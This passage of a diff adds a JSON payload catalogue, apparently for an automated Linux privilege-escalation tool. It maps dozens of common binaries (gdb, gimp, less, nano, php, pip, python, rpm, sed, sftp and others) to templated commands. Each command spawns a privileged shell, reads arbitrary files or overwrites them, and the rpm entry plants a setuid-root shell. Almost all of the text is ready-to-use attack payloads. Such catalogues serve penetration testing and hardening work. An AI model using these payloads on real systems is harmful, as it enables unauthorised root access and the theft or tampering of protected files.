os.execl(\"{shell}\", \"{shell}\", \"-p\")'", + "-ex", + "quit" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-q", + "-nx", + "-ex", + "'set height 0'", + "-ex", + "'python print(open(\"{lfile}\").read())'", + "-ex", + "quit" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{command}", + "args": [ + "-q", + "-nx", + "-ex", + "'python import sys; open(\"{lfile}\",\"w\").write(sys.stdin.read())'", + "-ex", + "quit" + ], + "exit": "{ctrl_d}{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-q", + "-nx", + "-ex", + "'python import sys,base64; exec(\"\"\"with open(\"{lfile}\",\"wb\") as f:\\n\\tfor line in sys.stdin:\\n\\t\\tf.write(base64.b64decode(line.strip()))\"\"\")'", + "-ex", + "quit" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "gem": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "open", + "-e", + "'{shell} -c {shell} -p'", + "rdoc" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "open", + "-e", + "'{cat} {lfile}'", + "rdoc" + ] + } + ], + "genisoimage": [ + { + "type": "read", + "stream": "print", + "payload": "{command} -q -o - {lfile} | {tail} -c +49152", + "args": [] + } + ], + "gimp-2.8": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-idf", + "--batch-interpreter=python-fu-eval", + "-b", + "'import os, pty;exec(\"try:\\n\\tos.setuid(0);\\nexcept:\\n\\tpass\\ntry:\\n\\tos.setgid(0)\\nexcept:\\n\\tpass\"); pty.spawn(\"{shell}\");gimp.exit()'" + ], + "exit": "exit" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 2>/dev/null", + "args": [ + "-idf", + "--batch-interpreter=python-fu-eval", + "-b", + "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'" + ] + } + ], + "gimp": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-idf", + "--batch-interpreter=python-fu-eval", + "-b", + "'import os; os.system(\"{shell} -p\");gimp.exit()'" + ], + "exit": "exit" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 2>/dev/null", + "args": [ + "-idf", + "--batch-interpreter=python-fu-eval", + "-b", + "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'" + ] + } + ], + "git": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "help", + "config" + ], + "input": "!{shell}\n", + "exit": "exit\nq\n" + } + ], + "grep": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "''", + "{lfile}" + ] + } + ], + "gtester": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo '#!{shell} -p' > $TF; echo 'exec {shell} -p 0<&1' >> $TF; {chmod} +x $TF; {command}; rm -f $TF", + "args": [ + "-q", + "$TF" + ] + } + ], + "head": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c1GB", + "{lfile}" + ] + } + ], + "highlight": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "--no-doc", + "--failsafe", + "{lfile}" + ] + } + ], + "iconv": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-f", + "8859_1", + "-t", + "8859_1", + "{lfile}" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{base64} -d | {command}", + "args": [ + "-f", + "8859_1", + "-t", + "8859_1", + "-o", + "{lfile}" + ] + } + ], + "ionice": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ip": [ + { + "type": "shell", + "payload": "{command} netns add foo; {command} netns exec foo {shell} -p && {command} netns delete foo", + "args": [], + "exit": "exit\n{ip} netns delete foo\n" + } + ], + "irb": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}", + "args": [ + "$TF" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command} | {head} -n -2 | {tail} -n +2 | {head} -c -1", + "args": [ + "$TF" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "irb2.5": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}", + "args": [ + "$TF" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command} | {head} -n -2 | {tail} -n +2 | {head} -c -1", + "args": [ + "$TF" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "jjs": [ + { + "type": "shell", + "payload": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('{shell} -pc \\$@|sh\\${{IFS}}-p _ echo {shell} -p <$({tty}) >$({tty}) 2>$({tty})').waitFor()\" | {command}", + "args": [ + "" + ] + } + ], + "journalctl": [ + { + "type": "shell", + "payload": "{command}", + "input": "!{shell} -p\n", + "exit": "exit\n{ctrl_c}" + } + ], + "jq": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-Rr", + ".", + "{lfile}" + ] + } + ], + "jrunscript": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-e", + "\"exec('/bin/sh -pc \\$@|sh\\${{IFS}}-p _ echo /bin/bash -p <$({tty}) >$({tty}) 2>$({tty})')\"" + ] + } + ], + "ksh": [ + { + "type": "shell", + "payload": "{command}", + "suid": [ + "-p" + ], + "input": "{shell} -p\n", + "exit": "exit\nexit\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-c", + "\"{cat} {lfile}\"" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-c", + "\"{base64} -d > {lfile}\"" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "ksh93": [ + { + "type": "shell", + "payload": "{command}", + "suid": [ + "-p" + ], + "input": "{shell} -p\n", + "exit": "exit\nexit\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-c", + "\"{cat} {lfile}\"" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-c", + "\"{base64} -d > {lfile}\"" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "ld-linux-x86-64.so.2": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-linux-x86-64.so.1": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-linux-x86.so.2": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-linux-x86.so.1": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-linux.so.1": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-linux.so.2": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld.so.2": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld.so.1": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld.so": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-2.so": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "ld-2.30.so": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "less": [ + { + "type": "shell", + "payload": "{command} /etc/profile", + "input": "!{shell} -p\n\n", + "exit": "exit\nq" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} | {cat}", + "args": [ + "{lfile}" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command} /etc/hosts; TF=$({mktemp} -u); {base64} -d > $TF; {command} < $TF; {rm} -f $TF", + "input": "q", + "exit": "{ctrl_d}{ctrl_d}s{lfile}\nq\n" + } + ], + "logsave": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "/dev/null", + "{shell}", + "-i", + "-p", + "-c", + "\"exec {shell} -p <$({tty}) >$({tty}) 2>$({tty})\"" + ] + } + ], + "look": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "''", + "{lfile}" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} | {head} -c -1", + "args": [ + "''", + "{lfile}" + ] + } + ], + "ltrace": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-b", + "-L", + "{shell} -p" + ] + } + ], + "lwp-request": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "file://{lfile}" + ] + } + ], + "mail": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "--exec='!{shell}'" + ] + } + ], + "make": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-s", + "--eval=$'x:\\n\\t-'\"{shell} -p\"" + ] + } + ], + "man": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "man" + ], + "input": "!{shell}\n", + "exit": "exit\nq" + } + ], + "mawk": [ + { + "type": "shell", + "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'" + }, + { + "type": "read", + "stream": "print", + "payload": "{command} // {lfile}" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" + } + ], + "more": [ + { + "type": "shell", + "payload": "TERM= {command} /etc/passwd", + "input": "!{shell}", + "exit": "exit\nq" + }, + { + "type": "read", + "stream": "print", + "payload": "{command} {lfile} | {cat}" + } + ], + "mtr": [ + { + "type": "read", + "stream": "print", + "payload": "{command} | | while read line; do echo ${line:28:-27}; done", + "args": [ + "--raw", + "-F", + "{lfile}" + ] + } + ], + "mv": [ + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -u); {base64} -d > $TF; {command}; {rm} -f $TF", + "args": [ + "$TF", + "{lfile}" + ] + } + ], + "nano": [ + { + "type": "shell", + "payload": "{command}", + "input": "{ctrl_r}{ctrl_x}reset; {shell} -p 1>&0 2>&0\n", + "exit": "exit\n{ctrl_x}n" + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-s", + "'{shell} -p'" + ], + "input": "{shell} -p\n{ctrl_t}", + "exit": "exit\n{ctrl_x}n" + }, + { + "type": "shell", + "payload": "SPELL='{shell} -p' {command}", + "args": [], + "input": "{shell} -p\n{ctrl_t}", + "exit": "exit\n{ctrl_x}n" + } + ], + "nawk": [ + { + "type": "shell", + "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'" + }, + { + "type": "read", + "stream": "print", + "payload": "{command} // {lfile}" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" + } + ], + "nice": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell} -p" + ] + } + ], + "nl": [ + { + "type": "read", + "stream": "print", + "payload": "{command} | while read line; do echo $line; done", + "args": [ + "-bn", + "-w1", + "-s", + "''", + "{lfile}" + ] + } + ], + "nmap": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo 'os.execute(\"{shell} -p\")' > $TF; {command}; {rm} -f $TF", + "input": "reset\n", + "args": [ + "--script=$TF" + ] + } + ], + "node": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-e", + "'require(\"child_process\").spawn(\"{shell}\", [\"-p\"], {{stdio: [0, 1, 2]}});'" + ] + } + ], + "nohup": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p", + "-c", + "\"{shell} -p <$({tty}) >$({tty}) 2>$({tty})\"" + ] + } + ], + "nroff": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -d); echo '#!{shell} -p' > $TF/groff; echo '{shell} -p' >> $TF/groff; chmod +x $TF/groff; GROFF_BIN_PATH=$TF {command}", + "args": [] + } + ], + "nsenter": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell} -p" + ] + } + ], + "od": [ + { + "type": "read", + "stream": "print", + "payload": "echo -e $({command} -An -c -w9999 {lfile} | {sed} \"s/ /\\n/g\" | {tr} -d \"\\n\") | {head} -n -1", + "args": [ + "" + ] + } + ], + "openssl": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "enc", + "-in", + "{lfile}" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{base64} -d | {command}", + "args": [ + "enc", + "-out", + "{lfile}" + ] + } + ], + "pdb": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -u); echo 'import os; os.system(\"{shell} -p\"); exit(0)' > $TF; {command}; {rm} -f $TF", + "args": [ + "$TF" + ], + "input": "cont\n" + } + ], + "perl": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-e", + "'exec \"{shell} -p\"'" + ] + } + ], + "pg": [ + { + "type": "shell", + "payload": "{command} /etc/profile", + "input": "!{shell} -p\n\n", + "exit": "exit\nq" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} | {cat}", + "args": [ + "{lfile}" + ] + } + ], + "pager": [ + { + "type": "shell", + "payload": "{command} /etc/profile", + "input": "!{shell} -p\n\n", + "exit": "exit\nq" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} | {cat}", + "args": [ + "{lfile}" + ] + } + ], + "php": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'system(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'passthru(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'shell_exec(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-r", + "'echo(file_get_contents(\"{lfile}\"));'" + ] + } + ], + "php5": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'system(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'passthru(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'shell_exec(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-r", + "'echo(file_get_contents(\"{lfile}\"));'" + ] + } + ], + "php7": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'system(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'passthru(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'shell_exec(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-r", + "'echo(file_get_contents(\"{lfile}\"));'" + ] + } + ], + "php7.0": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'system(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'passthru(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'shell_exec(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-r", + "'echo(file_get_contents(\"{lfile}\"));'" + ] + } + ], + "php7.3": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'system(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'passthru(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'shell_exec(\"{shell} -p 1>&0 2>&0\");'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-r", + "'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-r", + "'echo(file_get_contents(\"{lfile}\"));'" + ] + } + ], + "pic": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-U" + ], + "input": ".PS\nsh X {shell} X\n", + "exit": "exit\n{ctrl_c}" + } + ], + "pico": [ + { + "type": "shell", + "payload": "{command}", + "input": "{ctrl_r}{ctrl_x}reset; {shell} -p 1>&0 2>&0\n", + "exit": "exit\n{ctrl_x}n" + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-s", + "'{shell} -p'" + ], + "input": "{shell} -p\n{ctrl_t}", + "exit": "exit\n{ctrl_x}n" + }, + { + "type": "shell", + "payload": "SPELL='{shell} -p' {command}", + "args": [], + "input": "{shell} -p\n{ctrl_t}", + "exit": "exit\n{ctrl_x}n" + } + ], + "pip": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -d); echo \"import os; os.execl('{shell}', '{shell}', '-p', '-c', '{shell} -p <$({tty}) >$({tty}) 2>$({tty})')\" > $TF/setup.py; {command}", + "args": [ + "install", + "$TF" + ] + } + ], + "pip3": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -d); echo \"import os; os.execl('{shell}', '{shell}', '-p', '-c', '{shell} -p <$({tty}) >$({tty}) 2>$({tty})')\" > $TF/setup.py; {command}", + "args": [ + "install", + "$TF" + ] + } + ], + "pry": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "--exec", + "'system(\"{shell} -p\");exit'" + ] + } + ], + "python": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "python3.8": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "python3.7": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "python3.5": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "python3": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "python2": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "python2.7": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "args": [ + "" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "rake": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-p", + "'`{shell} 1>&0`'" + ] + } + ], + "redcarpet": [ + { + "type": "read", + "stream": "print", + "payload": "{command} | {sed} 's/^

//g' | {sed} 's|

$||g'", + "args": [ + "{lfile}" + ] + } + ], + "rlwrap": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-H", + "/dev/null", + "{shell}", + "-p" + ] + } + ], + "rpm": [ + { + "type": "shell", + "payload": "export TS=$({mktemp} -u); cp {shell} $TS; {command}; $TS -p; {rm} -f $TS", + "input": "rm -f $TS\nunset TS\n", + "args": [ + "--eval", + "\"%{{lua:posix.chown('$TS',0,0);posix.chmod('$TS', '+s');}}\"" + ] + } + ], + "rpmquery": [ + { + "type": "shell", + "payload": "export TS=$({mktemp} -u); cp {shell} $TS; {command}; $TS -p; {rm} -f $TS", + "input": "rm -f $TS\nunset TS\n", + "args": [ + "--eval", + "\"%{{lua:posix.chown('$TS',0,0);posix.chmod('$TS', '+s');}}\"" + ] + } + ], + "rsync": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-e", + "'{shell} -p -c \"{shell} -p 0<&2 1>&2\"'", + "127.0.0.1:/dev/null" + ] + } + ], + "ruby": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}", + "args": [ + "$TF" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}", + "args": [ + "$TF" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "ruby2.5": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}", + "args": [ + "$TF" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}", + "args": [ + "$TF" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", + "args": [ + "$TF" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "run-parts": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "--new-session", + "--regex", + "'^bash$'", + "/bin", + "--arg='-p'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "--new-session", + "--regex", + "'^sh$'", + "/bin", + "--arg='-p'" + ] + } + ], + "scp": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo '{shell} 0<&2 1>&2' > $TF; {chmod} +x \"$TF\"; {command}", + "args": [ + "-S", + "$TF", + "x", + "y:" + ] + } + ], + "screen": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}" + ] + } + ], + "script": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-qc", + "{shell}", + "/dev/null" + ] + } + ], + "sed": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-n", + "'1e exec {shell} -p 1>&0'", + "/etc/hosts" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "''", + "{lfile}" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{command}", + "args": [ + "-n", + "'s/\\(.\\)/\\1/w {lfile}'" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "service": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "../../{shell} -p" + ] + } + ], + "setarch": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "$({arch})", + "{shell} -p" + ] + } + ], + "sftp": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-o", + "ProxyCommand=';{shell} -p 0<&2 1>&2'", + "x" + ] + } + ], + "shuf": [ + { + "type": "read", 